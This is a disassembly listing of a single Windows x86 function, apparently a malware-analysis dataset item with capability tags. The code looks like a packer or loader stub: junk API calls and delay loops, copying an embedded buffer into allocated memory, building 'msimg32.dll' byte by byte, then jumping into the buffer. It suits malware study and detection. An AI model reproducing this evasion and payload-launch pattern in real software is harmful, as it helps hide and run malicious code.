Function at 0x405010
Capabilities:
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x44b938
push eax
mov dword fs:[0], esp
sub esp, 0x828
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x45cafc], 0x400
jne 0x405097
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push edi
lea eax, [ebp - 0x434]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push edi
call fcn.0040655b
add esp, 4
push edi
push edi
call fcn.00406ad7
push edi
push edi
push edi
call fcn.00406d7c
add esp, 0xc
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
sub esp, 8
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406250
fstp st(0)
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x4050b4
call ebx
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4050c5
inc esi
cmp esi, 0x67d12
jl 0x4050a0
cmp dword [0x45cafc], 0x93
jne 0x40519f
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDCA]
push edi
lea ecx, [ebp - 0x434]
push ecx
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor edx, edx
lock bts dword [edx], 0
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x4047d8
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.004065f0
add esp, 4
push eax
push 0x4047d8
lea ecx, [ebp - 0x30]
call fcn.00405b10
push edi
mov dword [ebp - 4], edi
call fcn.00406405
add esp, 4
push edi
push edi
call fcn.004068f0
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406940
fstp st(0)
push edi
call fcn.004068b6
add esp, 0xc
push edi
push edi
call fcn.004068e5
push edi
push edi
call fcn.004063ee
call fcn.004060dc
push edi
call fcn.0040689f
add esp, 0x14
call fcn.00405000
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x40519f
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00406935
add esp, 4
mov eax, dword [0x450e94]
mov dword [0x45d938], eax
mov eax, dword [0x45cafc]
add eax, 0x1134b
push eax
push edi
mov dword [0x45cafc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45c588], eax
call fcn.00404f40
mov esi, 0x1692e
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4051d0
cmp dword [0x45cafc], edi
jbe 0x405248
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
nop
mov ecx, dword [0x45d938]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45c588]
mov byte [eax + esi], dl
cmp dword [0x45cafc], 0x490
jne 0x40523d
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call ebx
inc esi
cmp esi, dword [0x45cafc]
jb 0x4051f0
xor edi, edi
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov ecx, dword [0x45cafc]
add ecx, esi
cmp ecx, 0x8d
jne 0x40528d
push 0
lea edx, [ebp - 0x834]
push edx
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x405256
call fcn.00404e00
xor edi, edi
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4052be
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x114ef
mov ecx, dword [ebp - 0x10]
add dword [0x45c588], ecx
inc esi
cmp esi, 0x674bd
jl 0x4052a0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45cafc], 0x86
jne 0x40531a
push 0
call esi
push 0
lea edx, [ebp - 0x434]
push edx
push 0x4047f4
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x45cafc], 0xf
jne 0x40532f
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x4052e0
mov cl, 0x6c
mov al, 0x6d
push 0x453c18
mov byte [0x453c21], cl
mov byte [0x453c1b], al
mov byte [0x453c1c], 0x67
mov byte [0x453c20], 0x64
mov byte [0x453c23], 0
mov byte [0x453c22], cl
mov byte [0x453c1f], 0x2e
mov byte [0x453c1e], 0x32
mov byte [0x453c18], al
mov byte [0x453c1a], 0x69
mov byte [0x453c1d], 0x33
mov byte [0x453c19], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45c588]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret